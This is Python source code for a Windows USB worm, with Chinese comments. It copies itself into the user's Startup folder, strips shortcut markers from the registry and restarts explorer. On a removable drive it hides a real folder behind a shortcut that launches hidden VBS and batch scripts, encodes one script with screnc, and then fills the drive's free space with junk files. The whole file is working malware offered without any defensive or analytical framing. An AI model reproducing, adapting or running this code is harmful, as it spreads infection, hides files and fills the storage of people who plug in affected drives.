import psutil
import win32con
import random
import shutil
import os
import sys
import time
import subprocess
import win32api
login_name = os.getlogin()
global driver
def StartUp():
    path = os.path.split(os.path.realpath(sys.argv[0]))[0]
    cmd_1 = "copy "+path+'\\demo.exe'+" "+'"C:\\Users\\'+login_name+'\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"'
    file = os.path.isfile('C:\\Users\\'+login_name+'\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\demo.exe')
    if file != 0:
        pass
    else:
        subprocess.call(cmd_1, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
def Drivers():
    global driver
    driver = ""
    flag = 0
    while True:
        time.sleep(2)
        for i in psutil.disk_partitions():
            if 'removable' in i.opts:
                driver,opts = i.device,i.opts
                flag = 2
                break
            else:
                continue
        if flag == 2:
            break
def CreateAutorun():
    global driver
    file_1 = open(driver+"autorun.inf",'w')
    file_1.write("[autorun]\nopen=demo.exe")
def CopyEXE():
    global driver
    path_1 = os.path.split(os.path.realpath(sys.argv[0]))[0]
    cmd_copyexe = "copy "+path_1+'\\demo.exe'+" "+driver
    subprocess.call(cmd_copyexe, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
def PathName(): #随机获取u盘的文件夹名称
    global driver
    global a #a为随机获取的u盘文件夹名称
    os.chdir(driver)
    path_test = os.path.split(os.path.realpath(sys.argv[0]))[0]
    os.system("dir /a:d /b>path.txt")
    a = open(driver+"path.txt",'r',encoding='UTF-8')
    a = a.read()
    a = a.replace("System Volume Information","")
    a = a.split()
    a = list(a)
    a = random.choice(a)
    a = str(a)
    a = a.replace("[","").replace("'","").replace("]","")
def CreateVirusScript():
    global a
    global driver
    global name
    name = random.uniform(520,521)
    name = str(name)
    path_Script = os.path.split(os.path.realpath(sys.argv[0]))[0]
    lnkScript = open(path_Script+'\\Script.vbs','w')
    lnkScript.write('set WshShell=WScript.CreateObject("WScript.Shell")\nstrPath="'+driver+'"\nset oShellLink=WshShell.CreateShortcut(strPath & "\\'+a+'.lnk")\n'+'oShellLink.TargetPath = "'+driver+'\\Hide_'+name+'.vbs"\noShellLink.IconLocation = "%SystemRoot%\System32\SHELL32.dll,4"\noShellLink.Save')
    RunScript = open(driver+'Run_'+name+'.bat','w')
    RunScript.write("explorer "+driver+a+"\nstart demo.exe")
    HideVbsScript = open(driver+'Hide_'+name+'.vbs','w')
    HideVbsScript.write('Set ws = CreateObject("Wscript.Shell")\nws.run'+'"cmd /c Run_'+name+'.bat'+'",vbhide')
def EncryptionScript():
    screnc_path = os.path.split(os.path.realpath(sys.argv[0]))[0]
    os.chdir(screnc_path)
    cmd_Script = "screnc Script.vbs Script.vbe"
    subprocess.call(cmd_Script, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
def HideFiles():
    global driver
    global a
    global name
    run_path = os.path.split(os.path.realpath(sys.argv[0]))[0]
    win32api.SetFileAttributes(driver+'Run_'+name+'.bat',win32con.FILE_ATTRIBUTE_HIDDEN)
    win32api.SetFileAttributes(driver+'path.txt',win32con.FILE_ATTRIBUTE_HIDDEN)
    win32api.SetFileAttributes(driver+'demo.exe',win32con.FILE_ATTRIBUTE_HIDDEN)
    win32api.SetFileAttributes(driver+'Script.vbs',win32con.FILE_ATTRIBUTE_HIDDEN)
    win32api.SetFileAttributes(driver+'Hide_'+name+'.vbs',win32con.FILE_ATTRIBUTE_HIDDEN)
    win32api.SetFileAttributes(driver+a,win32con.FILE_ATTRIBUTE_HIDDEN)
    win32api.SetFileAttributes(run_path+"\\Script.vbs",win32con.FILE_ATTRIBUTE_HIDDEN)
    win32api.SetFileAttributes(run_path+"\\Script.vbe",win32con.FILE_ATTRIBUTE_HIDDEN)
    win32api.SetFileAttributes(run_path+"\\1.bat",win32con.FILE_ATTRIBUTE_HIDDEN)
    win32api.SetFileAttributes(run_path+"\\screnc.exe",win32con.FILE_ATTRIBUTE_HIDDEN)
def Createlnk():
    global driver
    global a
    global name
    lnk = os.path.isfile(driver+a+".lnk")
    if lnk != True:
        vbe_path = os.path.split(os.path.realpath(sys.argv[0]))[0]
        cmd_callvbe = "start "+vbe_path+"\\Script.vbe"
        subprocess.call(cmd_callvbe, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    else:
        pass
def DeleteREG():
    batScript_Path = os.path.split(os.path.realpath(sys.argv[0]))[0]
    batScript = open(batScript_Path+"\\1.bat",'w')
    batScript.write("@echo off\ncolor 2\nreg delete HKCR\\lnkfile /v IsShortcut /f\nreg delete HKCR\\piffile /v IsShortcut /f\nreg delete HKCR\\InternetShortcut /v IsShortcut /f\ntaskkill /f /im explorer.exe && explorer")
    cmd_callbatScript = batScript_Path+"\\1.bat"
    subprocess.call(cmd_callbatScript, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
def CopyScrenc():
    global driver
    global a
    global name
    CopyScrenc_Path = os.path.split(os.path.realpath(sys.argv[0]))[0]
    copyscrenc = "copy "+CopyScrenc_Path+"\\screnc.exe "+driver
DeleteREG()
Drivers()
PathName()
CopyEXE()
CopyScrenc()
CreateVirusScript()
EncryptionScript()
Createlnk()
HideFiles()
StartUp()
# CreateAutorun()
if driver != "":
    total_b,used_b_,free_b = shutil.disk_usage(driver)
    mb = 1024 ** 2
    free_c = format(free_b/mb)
    free_c = int(float(free_c))
    count = free_c/10
    count = int(count)
    a = 0
    a = int(a)
    while a != count:
        file_name = random.uniform(520,521)
        file_name = str(file_name)
        cmd = "fsutil file createnew "+driver+"520_"+file_name+".file 10485760"
        cmd_test = subprocess.call(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        if cmd_test == 0:
            a == a+1
        else:
            Drivers()
